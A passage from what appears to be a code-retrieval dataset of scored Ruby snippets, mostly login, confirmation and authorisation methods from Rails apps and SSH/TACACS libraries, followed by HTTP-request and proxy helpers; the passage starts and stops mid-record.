"c444fc2a482f83286e54ab35e8ed02b5", "score": "0.48766652", "text": "def agent\n @agent\n end", "title": "" }, { "docid": "d4bd586c7b5570a0400d45096db1a31b", "score": "0.48722893", "text": "def confirm\n user = User.find(params[:id])\n authorize user\n if user.state != \"active\"\n user.confirm\n user.make_user_a_member\n\n # assume this type of user just activated someone from somewhere else in the app\n flash['notice'] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n end", "title": "" }, { "docid": "3fd52d586f83c8fda402d9f067bd8134", "score": "0.48699528", "text": "def cwhoami(m)\n if userroles(m.channel,m.user).empty?\n m.reply \"You're #{m.user.nick},\" + (!m.user.authname.nil? ? \" authenticated as #{User(m.user).authname},\" : \" unauthenticated,\") + \" with no roles.\"\n else\n m.reply \"You're #{m.user.nick},\" + (!m.user.authname.nil? ? \" authenticated as #{User(m.user).authname},\" : \" unauthenticated,\") + \" with the following roles #{userroles(m.channel,m.user)}.\", true\n end\n end", "title": "" }, { "docid": "6182e874d7e125620459e96e655dfee1", "score": "0.48684755", "text": "def confirm!\n response.write 'Success'\n response.set_cookie(cookie_name, {:value => supplied_code, :path => \"/\"})\n end", "title": "" }, { "docid": "8fbe4f103d7504dc04825527db790f90", "score": "0.48601994", "text": "def confirm_logged_in\n unless session[:user_id]\n flash[:notice] = \"Please log in.\"\n redirect_to root_path\n return false # halts the before_action\n else\n return true\n end\n end", "title": "" }, { "docid": "0140b22efda173779d0bdab5f666dbac", "score": "0.48552632", "text": "def confirm_role\n redirect_to(root_url) unless current_user.role == 'Passenger'\n end", "title": "" }, { "docid": "91b64c2c86fae9175c719b4c9b87b418", "score": "0.48542458", "text": "def switch\n authorize!(:manage, :all)\n user = User.find_by(login: params[:login].upcase)\n if user\n session[:original_user_id] = session[:user_id]\n session[:user_id] = user.id\n redirect_to root_url, notice: \"Sie sind nun der Nutzer mit dem Login #{user.login}.\"\n else\n redirect_to root_url, notice: \"Der Nutzer existiert nicht im System.\"\n end\n end", "title": "" }, { "docid": "d104b2dacf955fe9c1761f4edb28d530", "score": "0.48511666", "text": "def confirm_signed_in\n if !signed_in?\n redirect_to root_path, notice: \"You have to be signed in to continue!\"\n end\n end", "title": "" }, { "docid": "6c72f45261441adbbbb6ec9128d34c21", "score": "0.4844453", "text": "def auth_agent_channel(session, channel, packet)\n info { \"opening auth-agent channel\" }\n channel[:invisible] = true\n\n begin\n agent = Authentication::Agent.connect(logger, session.options[:agent_socket_factory])\n if (agent.socket.is_a? ::IO)\n prepare_client(agent.socket, channel, :agent)\n else\n prepare_simple_client(agent.socket, channel, :agent)\n end\n rescue Exception => e\n error { \"attempted to connect to agent but failed: #{e.class.name} (#{e.message})\" }\n raise Net::SSH::ChannelOpenFailed.new(2, \"could not connect to authentication agent\")\n end\n end", "title": "" }, { "docid": "67622eeea42f38ceca6431cda548e855", "score": "0.48399383", "text": "def login\n VkMusic.log.info(\"Client#{@id}\") { 'Logging in...' }\n login = Request::Login.new\n login.call(agent)\n login.send_form(@login, @password, agent)\n return true if login.success?\n\n VkMusic.log.warn(\"Client#{@id}\") { \"Login failed. Redirected to #{login.response.uri}\" }\n false\n end", "title": "" }, { "docid": "aaf7d1bd504ecebaca7a91ddcc18dcc1", "score": "0.48340794", "text": "def logging_in\n current_user.absorb_from(guest_user)\n end", "title": "" }, { "docid": "f069ab1aa3f52ea63474554820cfcc64", "score": "0.48326752", "text": "def identity(agent)\n if agent.identities.empty?\n raise 'No identity available. Run `ssh-add` and try again'\n end\n\n agent.identities.first\n end", "title": "" }, { "docid": "9111fcc741c325e751e492f32614ecb3", "score": "0.48118976", "text": "def ascii_login_and_enable(session,new_body)\n authen_start = session.authen_start\n authen_cont = session.authen_cont\n\n if (!session.reply.body) # no previous conversation has taken place\n if (authen_start.body.user_len == 0)\n # request username\n new_body.status_getuser!\n new_body.server_msg = @tacacs_daemon.login_prompt\n else\n # request password\n session.getuser = authen_start.body.user\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n end\n\n else # make sure we got what we asked for in last reply\n if (session.reply.body.status_getuser?)\n if (authen_cont.body.user_msg_len != 0)\n # request password\n session.getuser = authen_cont.body.user_msg\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Username requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getpass?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n pass_fail = authenticate(username, password, session.authen_start)\n\n # set reply based on pass_fail\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Password requested but none provided.\"\n end\n\n else\n # all other statuses are in error, so some sort of internal error must have occured\n new_body.status_error!\n new_body.server_msg = \"Internal Server Error. Unexpected status for ASCII login/enable: #{session.reply.body.status}\"\n @tacacs_daemon.log(:erro,['msg_type=Authentication', \"message=#{new_body.server_msg}\", \"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n\n end\n end\n\n return(nil)\n end", "title": "" }, { "docid": "a51e0d936d2c6d4eb13220242ded956b", "score": "0.48072833", "text": "def login_logout\n if @logged\n puts \"Competitor #{@id} is going to log out\"\n @browser.invoke_action(@kernel.resources.controllers.people.logout)\n raise \"Logout action failed\" unless @browser.last_action_result == [\"success\", \"ok\"]\n @logged = false\n else\n puts \"Competitor #{@id} is going to log in\"\n @browser.invoke_action(\n @kernel.resources.controllers.people.login, \n user_tuple(@id, false).keep(:mail, :password)\n )\n raise \"Login action failed\" unless @browser.last_action_result == [\"success\", \"ok\"]\n @logged = true\n end\n end", "title": "" }, { "docid": "a5e562ef5f2e8f59c4989b7e33063271", "score": "0.47942948", "text": "def confirm_user_login\n unless user_logged_in?\n session[:desired_url] = url_for(santize_parameters)\n flash[:warning] = 'Please log in.'\n redirect_to(login_path)\n end\n true\n end", "title": "" }, { "docid": "0af5ce6195c2e4531f44bd3302078af8", "score": "0.47921926", "text": "def resend_welcome\n return forbidden unless current_account.admin?\n\n account = current_organization.accounts.find(params[:id])\n LifecycleMailer.login_instructions(account, current_organization, current_account).deliver_now\n json nil\n end", "title": "" }, { "docid": "70a7cd57d467593b61a25297b12939f2", "score": "0.4788278", "text": "def agent\n @agent\n end", "title": "" }, { "docid": "f4b0b4d2c8794ef5122ab76b4aba52d4", "score": "0.478458", "text": "def admin_agent\n redirect_to(root_url) unless current_agent.admin?\n end", "title": "" }, { "docid": "c463c44c9f086a883bf813b531b7d46e", "score": "0.47836316", "text": "def send_confirmation\n reply 'confirmation'\n end", "title": "" }, { "docid": "a1da94a421301e7c331d53226efaa75a", "score": "0.4773167", "text": "def confirm\n \t@delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n \tif @delegation.nil?\n \t\tflash[:alert] = 'You are not authorised to access this page'\n \t\tredirect_to root_path and return\n \telse\n \t\t@delegation.activate\n \t\tflash[:notice] = 'Request confirmed! Your account is now controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n \tend\n end", "title": "" }, { "docid": "294f89b8dd8a2f599f3bbeddb971d063", "score": "0.47682452", "text": "def _interact\n\t\tframework.events.on_session_interact(self)\n\t\t# Call the console interaction subsystem of the meterpreter client and\n\t\t# pass it a block that returns whether or not we should still be\n\t\t# interacting. This will allow the shell to abort if interaction is\n\t\t# canceled.\n\t\tconsole.interact { self.interacting != true }\n\n\t\t# If the stop flag has been set, then that means the user exited. Raise\n\t\t# the EOFError so we can drop this bitch like a bad habit.\n\t\traise EOFError if (console.stopped? == true)\n\tend", "title": "" }, { "docid": "095ef481ffa2e981ad22d842bcce5758", "score": "0.47676906", "text": "def login\n validate_arguments!\n\n Turbot::Auth.login\n display \"Authentication successful.\"\n end", "title": "" }, { "docid": "1b2b6abb15e19fa26aea7a3b8629b5de", "score": "0.47641188", "text": "def welcome_user\n header\n puts \"\\n\\nWelcome #{self.active_user.name}, you are now logged in!\\n\"\n self.area_prompt\nend", "title": "" }, { "docid": "cd1578347696fde417f7b8b39c001a73", "score": "0.47516719", "text": "def confirm_admin\n @confirm_admin = true if session[:role_name] == 'Administrator'\n end", "title": "" }, { "docid": "5a30603f1225f9d63700ffb23df73cfd", "score": "0.47430384", "text": "def confirm\r\n # Change user status to active\r\n update(status: :active)\r\n # Update all pending company_roles to active\r\n company_roles.update_all(status: 1)\r\n NotifyMailer.welcome_mail(self).deliver_later\r\n super\r\n end", "title": "" }, { "docid": "fcd7a9d8c5ecdcaaa1a01e9c884b0256", "score": "0.47416478", "text": "def agent(channel); end", "title": "" }, { "docid": "48240595dc4fc51efa7ab8f5c24c991d", "score": "0.4736565", "text": "def _interact\n\t\tframework.events.on_session_interact(self)\n\tend", "title": "" }, { "docid": "6425a77d8eab369ca96d093209188985", "score": "0.47344095", "text": "def submit_login\n\n @@agent.get \"#{BASE_URL}/divanet/\"\n @@agent.page.form_with(name: 'loginActionForm') do |form|\n form.field_with(name: 'accessCode').value = @user.access_code #Setting.login_id\n form.field_with(name: 'password').value = @user.password #Setting.login_password\n form.click_button\n end\n\n # # ログインに成功してたらログアウトが存在するはず\n # puts true if @@agent.page.body =~ /divanet/logout/\n end", "title": "" }, { "docid": "8063bae8f2ed81ca39399b60bb7f2177", "score": "0.47319868", "text": "def welcome\n # only admin can send emails like these\n if !@current_user.is_admin?\n respond_with_403 and return\n end\n \n \n if @user.is_active == 0\n flash[:error] = \"Please Activate this Agent before sending welcome email.\"\n else\n UserNotifier::deliver_user_created(@user, @user.save_new_password)\n flash[:notice] = 'Welcome email has been sent.'\n end\n \n \n redirect_to user_path\n end", "title": "" }, { "docid": "a392a5492260dbc36e7680f32a1d0959", "score": "0.47282118", "text": "def confirm!\n welcome_message\n super\n end", "title": "" }, { "docid": "a392a5492260dbc36e7680f32a1d0959", "score": "0.47282118", "text": "def confirm!\n welcome_message\n super\n end", "title": "" }, { "docid": "5b19c8b820117001fc7f09b34887b1b3", "score": "0.47228402", "text": "def enter_password\n @logger.info(\"enter password\") if @logger\n enter_command(@password)\n @logged_in = true\n end", "title": "" }, { "docid": "f52c32fd07c51f089905ef69311ac73e", "score": "0.47226202", "text": "def accept\n Connection.accept(user_id, contact_id)\n end", "title": "" }, { "docid": "0940275e3e86b62e51fb9740132839c9", "score": "0.47153202", "text": "def login\n ami_user_valid?\n ami_pass_valid?\n send_action :login, username: @ami_user, secret: @ami_password\n self\n end", "title": "" }, { "docid": "99648f2e175c6c55cc0f72477a3acf77", "score": "0.47145388", "text": "def prompt_user_authorisation\n\n require './app/routes/web'\n\n # Start local API\n Launchy.open(\"http://localhost:5000/cli/auth\")\n\n auth_thread = Thread.new do\n Linkedin2CV::Routes::Web.run!\n end\n\n auth_thread\n end", "title": "" }, { "docid": "f9371c11f8cd080babf1eb546d7d01cb", "score": "0.47139266", "text": "def confirm_user_logged_in\n unless logged_in?\n store_url # So that user is sent to the same URL after they log in\n flash[:danger] = \"Please log in.\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "1debb4934021e90eefb31390c341d0c8", "score": "0.47102034", "text": "def confirm_invitation\n @teammate = Teammate.find(params[:teammate_id])\n return redirect_to forbidden_path unless @teammate.user_id == @current_user.id\n\n if params[:confirm] == 'accept'\n verified = @teammate.verify\n verified ? msg = 'Bem-vindo ao Time de Tripulantes!' : msg = 'Oops! Ocorreu um erro, tente novamente. Caso o erro persista peça para ser adicionado novamente ao time.'\n return redirect_to pitch_teammate_path(@pitch, @teammate), flash: { notice: msg }\n elsif params[:confirm] == 'decline'\n @teammate.destroy\n msg = \"Convite do time #{@teammate.pitch.name} Rejeitado com Sucesso.\"\n return redirect_to root_path, flash: { notice: msg }\n end\n end", "title": "" }, { "docid": "0daea116e4e396b390e475cba474b1fe", "score": "0.47087723", "text": "def create\n\t\tuser = User.find_by_email(params[:email])\n\n\t\tif user and user.authenticate(params[:password])\n\t\t\tsession[:agent_id] = user.id\n\t\t\trespond_to do |format|\n\t\t\t\tformat.js { @alert = \"\" }\n\t\t\tend\n\t\telse\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.js { @alert = \"Sorry wrong username or passord\" }\n\t\t\tend\n\n\t\tend\n\tend", "title": "" }, { "docid": "7c6977c92326413f6b0f83002516f73b", "score": "0.47041094", "text": "def verify_credentials\n\t\tif (has_valid_credentials) then\n\t\t logger.error(\"VC: Logged in\")\n\t\telse\n\t\t # username is nil, just clobber login_time\n\t\t logger.error(\"VC: Not logged in, redirecting to login\")\n\t\t clear_session()\n\t\t redirect_to :controller => 'application', :action => 'index'\n\t\tend\n\tend", "title": "" }, { "docid": "8d3c51ac44973274aa8a6cacd94586b5", "score": "0.46885026", "text": "def authorized!\n redirect_to root_url, alert: \"You need to be set up for receiving whispers first\" and return unless current_user\n end", "title": "" }, { "docid": "f189707f92c7f2a21ccfe5da00153e62", "score": "0.4682927", "text": "def confirm_user\n if session[:user_id]\n return true\n else\n flash[:notice] = \"please login\"\n redirect_to(:controller => 'manage', :action => 'login')\n return false\n end\n end", "title": "" }, { "docid": "aaea395fc81aa88aadc952ea9ea44775", "score": "0.46810874", "text": "def init_agent\n agent = login(make_spider)\n unless agent.page.content.include? 'You are logged in.'\n SouvlakiRS.logger.error 'Audioport user login failed'\n raise 'Mechanize failed to create agent' if agent.nil?\n end\n\n agent\n end", "title": "" }, { "docid": "ca66cece3954f763260343ee572bde26", "score": "0.4680553", "text": "def press_confirm_in_alert\r\n\t\t\t@driver.switch_to.alert.accept\r\n\t\t\tsleep 20\r\n\t\tend", "title": "" }, { "docid": "5381adc2e94560ded260f4ef496fe8a7", "score": "0.467481", "text": "def confirm!\n welcome_email\n super\n end", "title": "" }, { "docid": "5844184ee9781547fc464766fc7f24b9", "score": "0.4670266", "text": "def pass= pass\n @agent.pass = pass\n end", "title": "" }, { "docid": "5efd1ee480457cd14cc5c54a55f579f4", "score": "0.46696424", "text": "def logged_in\n if current_user == nil\n redirect_to new_user_session_path, alert: \"You are not logged in\"\n end\n end", "title": "" }, { "docid": "b720e17318b40fffa012ba45d69603cf", "score": "0.46677044", "text": "def agent; end", "title": "" }, { "docid": "c7f5230df2aa7d4688ad3276d5a01fdc", "score": "0.4655217", "text": "def vheroauthorize\n redirect_to vherologin_path, alert: 'You must be logged in as a Volunthero to access this page.' if current_vhero.nil?\n end", "title": "" }, { "docid": "51a5837258eda3903cc4e737e1ebffb1", "score": "0.46476978", "text": "def uninstall_launch_agent\n launch_agent_path.delete\n puts \"*** REMEMBER: The LaunchAgent which executes clamav.rb on an interval WILL REMAIN ACTIVE until you logout then log back into this account!\"\n exit 0\nend", "title": "" }, { "docid": "a9032a8e4e861458e5af18e9119ad275", "score": "0.46474597", "text": "def welcome\n @current_user = current_user\n end", "title": "" }, { "docid": "22d1cbc5ad3df3ef1af0a22ff4bba054", "score": "0.4644546", "text": "def authenticate_current_user_as_invited_user\n\t unless current_user == @invitation.invited_user\n\t redirect_to :back, alert: 'This invitation is not for you!'\n\t end\n\t end", "title": "" }, { "docid": "6fff75601398c9b32fa3604ca113d70d", "score": "0.46425292", "text": "def connect\n say \"NICK #{@botname}\"\n say \"USER #{@botname} 0 * #{@botname}\"\n say \"JOIN #{@channel}\"\n end", "title": "" }, { "docid": "1cffec232e82600d1ccbb89d6be7ec0e", "score": "0.46379393", "text": "def connect\n self.current_user = find_verified_user # define current_user property once user sucessfully connected\n end", "title": "" }, { "docid": "40e7f0bad3d2c167451cea9e5e04d34f", "score": "0.46368584", "text": "def connect\n self.current_user = find_verified_user\n end", "title": "" }, { "docid": "40e7f0bad3d2c167451cea9e5e04d34f", "score": "0.46368584", "text": "def connect\n self.current_user = find_verified_user\n end", "title": "" }, { "docid": "40e7f0bad3d2c167451cea9e5e04d34f", "score": "0.46368584", "text": "def connect\n self.current_user = find_verified_user\n end", "title": "" }, { "docid": "6e0d0a4bd56e143ba2dbfbc60b8c6ddd", "score": "0.46315587", "text": "def authentication_succeeded(message = 'You have logged in successfully.', destination = '/followees')\n flash[:notice] = message\n redirect_back_or_default destination\n end", "title": "" }, { "docid": "166240e33466799216224624014ccb72", "score": "0.46293935", "text": "def accept_candidate\n authorize(@job_candidate)\n @job_candidate.accepted!\n tracker = Mixpanel::Tracker.new(ENV[\"NT_MIXPANEL_TOKEN\"])\n tracker.track('employer-' + current_employer.email, 'accepted candidate')\n CandidateMailer.send_job_hire(@job_candidate.candidate.email, @job_candidate.job).deliver_later\n redirect_to employer_jobs_path, notice: 'Successfully accepted, an email was sent to the candidate.'\n end", "title": "" }, { "docid": "2fd8508be4a135c97e3b71cc083d867d", "score": "0.46288863", "text": "def logged_in\r\n end", "title": "" }, { "docid": "7f8b2a0f94dc3f45cb7b461101a85ef5", "score": "0.4624023", "text": "def confirm_enrollment\n \tif (Profile.find(params[:profile][:id].to_i).user_id != session[:user_id])\n \t flash[:notice] = \"You cannot enroll on behalf of other users!\"\n \t redirect_to(user_path( :id => session[:user_id]))\n\n end\n end", "title": "" }, { "docid": "44a2c582e68ff1e2adf5ff5aace4b664", "score": "0.4613275", "text": "def new\n #user wants to log in \n end", "title": "" }, { "docid": "44a2c582e68ff1e2adf5ff5aace4b664", "score": "0.4613275", "text": "def new\n #user wants to log in \n end", "title": "" }, { "docid": "a22906000733dfa8ad109dc2a3a284bd", "score": "0.46120307", "text": "def login=(value)\n reset_agent\n @login = value\n end", "title": "" }, { "docid": "a22906000733dfa8ad109dc2a3a284bd", "score": "0.46120307", "text": "def login=(value)\n reset_agent\n @login = value\n end", "title": "" }, { "docid": "c3e37b22c87e42541902e0cb63ba3f80", "score": "0.4606042", "text": "def login\r\n print \"Logging in... \"\r\n login_page = @agent.get \"https://www.economist.com/user/login\"\r\n login_form = login_page.form_with(:id => \"user-login\")\r\n login_form[\"name\"] = @credentials['email']\r\n login_form[\"pass\"] = @credentials['password']\r\n user_page = @agent.submit login_form\r\n\r\n # we check for the email address on the page.\r\n #If not present, we assume login failed\r\n @login_success = user_page.body.include?(@credentials['email'])\r\n if (@login_success)\r\n print \"success\\n\"\r\n else\r\n print \"error\\nPlease check you credentials\"\r\n end\r\n @login_success\r\n end", "title": "" } ]
639098c70477c7f7aaa0fdd8f6696eb7
FIXME : centralize http access (to make it easier to support proxy)
[ { "docid": "cf9b3dee4a8ee677b8e6f949e5f321a1", "score": "0.0", "text": "def fetch_attr\n return if @attr_loaded\n response = nil\n Net::HTTP.start(\"www.amazon.co.jp\") do |http|\n response = http.get(\"/gp/aw/d.html?a=#{@asin}\")\n end\n page = Nokogiri::HTML.parse(response.body, nil, \"SJIS\")\n @attr[:smallimage] = page.xpath(\"//img[contains(@src, '.jpg')]/@src\").to_s\n \n @attr_loaded = true\n end", "title": "" } ]
[ { "docid": "1d313b5278e4ace5284ab82f00a1001f", "score": "0.772293", "text": "def http; end", "title": "" }, { "docid": "add75b142126165a65c6bceadddc57fa", "score": "0.767842", "text": "def http_proxy; end", "title": "" }, { "docid": "1e851104aec28c1d2e16fc40f91ee52b", "score": "0.7441181", "text": "def http_proxy_parts; end", "title": "" }, { "docid": "8497163ac5b5131ba87966ebfd9c1d24", "score": "0.7261945", "text": "def proxy_google(path)\n res = Net::HTTP.start('www.google.com', 80) do |http|\n http.get path\n end\n res.body\nend", "title": "" }, { "docid": "bacd7e87fa5482f3e348497c64889c8b", "score": "0.7176663", "text": "def proxy_pass; end", "title": "" }, { "docid": "b5eceacdb55f5c092145b56357da34d2", "score": "0.7123269", "text": "def proxy_uri; end", "title": "" }, { "docid": "b5eceacdb55f5c092145b56357da34d2", "score": "0.7123269", "text": "def proxy_uri; end", "title": "" }, { "docid": "970fbd57a03338f7f7206ce4694820ce", "score": "0.70728326", "text": "def net_http_res; end", "title": "" }, { "docid": "03c29779827741eeeded20279fe21cf0", "score": "0.6950127", "text": "def request(url, options)\n\t\tmy_url = URI.parse(URI.encode(url))\n\n\t\tbegin\n\t\t\tmy_url = URI.parse(url)\n\t\trescue URI::InvalidURIError\n\t\t\tmy_url = URI.parse(URI.encode(url))\n\t\tend\n\nstart_time = Time.now\n\t\tproxy_host = 'ubio.cnio.es'\n\t\tproxy_port = 3128\n\t\treq = Net::HTTP::Get.new(my_url.request_uri)\n#\t\tres = Net::HTTP.start(my_url.host, my_url.port, proxy_host, proxy_port) { |http|\n\t\tres = Net::HTTP.start(my_url.host, my_url.port) { |http|\n\t\t\thttp.request(req)\n\t\t}\n\n\n\n\t\t#http_session = proxy.new(my_url.host, my_url.port)\n\t\t#\n\t\t#res = nil\n\t\t#proxy.new(my_url.host, my_url.port).start { |http|\n\t\t#Net::HTTP::Proxy(proxy_host, proxy_port).start(my_url.host) { |http|\n\t\t#\treq = Net::HTTP::Get.new(my_url.request_uri)\n\t\t#\tres, data = http.request(req)\n\t\t#\n\t\t#\tputs \"shitting data: #{data}\\n\"\n\t\t#\tputs \"res.code: #{res.code}\\n\"\n\t\t#}\n\t\t#\n\t\t#\n\t\t#res = Net::HTTP.start(my_url.host, my_url.port) { |http|\n\t\t#\treq = Net::HTTP::Get.new(my_url.request_uri)\n\t\t#\thttp.request(req)\n\t\t#}\n\n\n#end_time = Time.now\n#elapsed_time = (end_time - start_time) * 1000\n#puts \"***=> Time elapsed for #{url}: #{elapsed_time} ms\\n\"\n#\n#puts \"response code: #{res ? res.code: 'res not available here'}\"\n\n\t\tres\n\tend", "title": "" }, { "docid": "1e12837aba43e06b43999342e0b5885f", "score": "0.69388795", "text": "def using_proxy?; end", "title": "" }, { "docid": "f1738062d98b85b1a75952a0bb46a6aa", "score": "0.6911478", "text": "def select_http_obj\n if @proxy_server\n http = Net::HTTP::Proxy(@proxy_server[:address],@proxy_server[:port],\n @proxy_server[:user],@proxy_server[:password]).new(@url.host,@url.port)\n else\n http = Net::HTTP.new(@url.host, @url.port)\n end\n http.use_ssl=true if @url.class==URI::HTTPS\n if !@verify_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @url.class==URI::HTTPS\n end\n http\n end", "title": "" }, { "docid": "9ce7fcc768cad44f40671d9c8d7feb67", "score": "0.6805154", "text": "def http_proxy=(_arg0); end", "title": "" }, { "docid": "adb254e82cec86244af7ef68012b06cc", "score": "0.67985654", "text": "def get_response( src )\n uri = URI.parse( src )\n\n # new code: honor proxy env variable HTTP_PROXY\n proxy = ENV['HTTP_PROXY']\n proxy = ENV['http_proxy'] if proxy.nil? # try possible lower/case env variable (for *nix systems) is this necessary??\n\n if proxy\n proxy = URI.parse( proxy )\n logger.debug \"using net http proxy: proxy.host=#{proxy.host}, proxy.port=#{proxy.port}\"\n if proxy.user && proxy.password\n logger.debug \" using credentials: proxy.user=#{proxy.user}, proxy.password=****\"\n else\n logger.debug \" using no credentials\"\n end\n else\n logger.debug \"using direct net http access; no proxy configured\"\n proxy = OpenStruct.new # all fields return nil (e.g. proxy.host, etc.)\n end\n\n http_proxy = Net::HTTP::Proxy( proxy.host, proxy.port, proxy.user, proxy.password )\n\n redirect_limit = 6\n response = nil\n cookie_jar = nil\n original_uri = uri\n retried_once = 0\n\n until false\n raise ArgumentError, 'HTTP redirect too deep' if redirect_limit == 0\n redirect_limit -= 1\n\n http = http_proxy.new( uri.host, uri.port )\n\n logger.debug \"GET #{uri.request_uri} uri=#{uri}, redirect_limit=#{redirect_limit}\"\n\n headers = { 'User-Agent' => \"fetcher gem v#{VERSION}\" }\n headers['Cookie'] = cookie_jar unless cookie_jar.nil?\n\n if use_cache?\n ## check for existing cache entry in cache store (lookup by uri)\n ## todo/fix: normalize uri!!!! - how?\n ## - remove query_string ?? fragement ?? why? why not??\n\n ## note: using uri.to_s should return full uri e.g. http://example.com/page.html\n\n\n cache_entry = cache[ uri.to_s ]\n if cache_entry\n logger.info \"found cache entry for >#{uri.to_s}<\"\n if cache_entry['etag']\n logger.info \"adding header If-None-Match (etag) >#{cache_entry['etag']}< for conditional GET\"\n headers['If-None-Match'] = cache_entry['etag']\n end\n if cache_entry['last-modified']\n logger.info \"adding header If-Modified-Since (last-modified) >#{cache_entry['last-modified']}< for conditional GET\"\n headers['If-Modified-Since'] = cache_entry['last-modified']\n end\n end\n end\n\n request = Net::HTTP::Get.new( uri.request_uri, headers )\n if uri.instance_of? URI::HTTPS\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n response = http.request( request )\n\n if response.code == '200'\n logger.debug \"#{response.code} #{response.message}\"\n logger.debug \" content_type: #{response.content_type}, content_length: #{response.content_length}\"\n break # will return response\n elsif( response.code == '304' ) # -- Not Modified - for conditional GETs (using etag,last-modified)\n logger.debug \"#{response.code} #{response.message}\"\n break # will return response\n elsif( response.code == '301' || response.code == '302' || response.code == '303' || response.code == '307' )\n # 301 = moved permanently\n # 302 = found\n # 303 = see other\n # 307 = temporary redirect\n logger.debug \"#{response.code} #{response.message} location=#{response.header['location']}\"\n newuri = URI.parse( response.header['location'] )\n if newuri.relative?\n logger.debug \"url relative; try to make it absolute\"\n newuri = uri + response.header['location']\n end\n\n cookie = response.get_fields('set-cookie')\n if cookie.respond_to?('each')\n cookies_array = Array.new\n cookie.each { | cookie |\n cookies_array.push(cookie.split('; ')[0])\n }\n cookie_jar = cookies_array.join('; ')\n end\n\n if (cookie_jar.to_s.strip.empty?) && ((newuri.host != original_uri.host) || (retried_once == 1))\n uri = newuri\n else\n logger.debug \"Detected redirection to original host. Trying the original request with cookie.\"\n uri = original_uri\n redirect_limit = 6\n retried_once = 1\n end\n\n logger.debug \"Set cookie: #{cookie_jar}\"\n else\n puts \"*** error - fetch HTTP - #{response.code} #{response.message}\"\n break # will return response\n end\n end\n\n response\n end", "title": "" }, { "docid": "af59b3f9facb8fe15d4bbf899f9a6ab3", "score": "0.67344177", "text": "def proxy; end", "title": "" }, { "docid": "af59b3f9facb8fe15d4bbf899f9a6ab3", "score": "0.67344177", "text": "def proxy; end", "title": "" }, { "docid": "af59b3f9facb8fe15d4bbf899f9a6ab3", "score": "0.67344177", "text": "def proxy; end", "title": "" }, { "docid": "62563ca8b8043e424d18d31fbc7a5fe6", "score": "0.6714256", "text": "def new_http(uri); end", "title": "" }, { "docid": "9126b774fb35cb048bb2fef303682010", "score": "0.6700141", "text": "def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end", "title": "" }, { "docid": "1d58e44c020787a77f64af4a28b8a388", "score": "0.66802055", "text": "def request(uri, method, cookies)\n #puts \"Current URI: #{uri}\"\n uri = URI(uri)\n http = nil\n if USE_PROXY\n \t http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)\n else\n \t http = Net::HTTP.new(uri.host, uri.port)\n end\n\n http.read_timeout = 4 # 4 seconds read timeout\n http.open_timeout = 4\n if uri.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n request = nil\n if method == \"OPTIONS\"\n request = Net::HTTP::Options.new(uri.request_uri, cookies)\n else # otherwise GET\n request = Net::HTTP::Get.new(uri.request_uri, cookies)\n end\n \n begin\n\t response = http.request(request)\n\n\t case response\n\t when Net::HTTPSuccess\n\t then \n\t return response\n\t when Net::HTTPRedirection # if you get a 3xx response\n\t then \n\t # handles stupid implementations like Location: /Login\n\t location = response['Location']\n\t #puts \"Location redirect to: #{location}\"\n\t if response['Set-cookie'] != nil && !@current_cookies.include?(response['Set-cookie'])\n\t \t@current_cookies += response['Set-cookie']\n\t end\n\t cookies = {'Cookie'=> @current_cookies}\n\n\t if location.start_with?(\"/\")\n\t \tlocation = \"#{uri.scheme}://#{uri.host}:#{uri.port}#{location}\"\n\t \t#puts \"Final location: #{location}\"\n\t end\n\t return request(location, \"GET\", cookies)\n\t else\n\t return [nil, \"Response error\"]\n\t end\n # ctaching different exceptions in case we need to do something on it in the future\n rescue SocketError => se # domain not resolved\n \treturn [nil, \"Domain not resolved\"]\n rescue Timeout::Error => timeout # timeout in open/read\n \treturn [nil, \"Timeout in open or read\"]\n rescue Errno::ECONNREFUSED => refused # connection refused\n \treturn [nil, \"Connection refused\"]\n rescue Exception => e\n \t#puts e.message\n \t#puts e.backtrace\n \treturn [nil, e.message]\n end\nend", "title": "" }, { "docid": "76308ac57fb8027d690c39aaaf89a5f8", "score": "0.6658947", "text": "def get(url); end", "title": "" }, { "docid": "76d1eb909e191c23e9023c0a7535499b", "score": "0.6603867", "text": "def using_authenticated_proxy?; end", "title": "" }, { "docid": "5c93daad9455f77a6dd62872ecd3273a", "score": "0.6566935", "text": "def legitimate_proxy?; end", "title": "" }, { "docid": "44211298393d362b7adb23cbdd28477d", "score": "0.6532784", "text": "def proxy_set?; end", "title": "" }, { "docid": "1b712cda8c2dd16bf028b10d021bfd51", "score": "0.6531567", "text": "def http_request(url, options = {})\n\t\t\treq = Net::HTTP::Get.new(url)\n\t\t\treq[\"user-agent\"] = \"Mozilla/5.0 Gecko/20070219 Firefox/2.0.0.2\" # ensure returns XML\n\t\t\treq[\"cookie\"] = \"cookieMenu=all; cookieLangId=\" + options[:lang] + \"; cookies=true;\"\n\t\t\t\n\t\t\treq[\"cookie\"] += options[:cookie] if options[:cookie]\n\t\t\t\n\t\t\turi = URI.parse(url)\n\t\t\t\n\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\n\t\t\tif (options[:secure])\n\t\t\t\tputs \"Secure authentication\" if options[:debug]\n\n\t\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\t\t\thttp.use_ssl = true\n\t\t\tend\n\t\t \n\t\t\t\n\t\t\tbegin\n\t\t\t 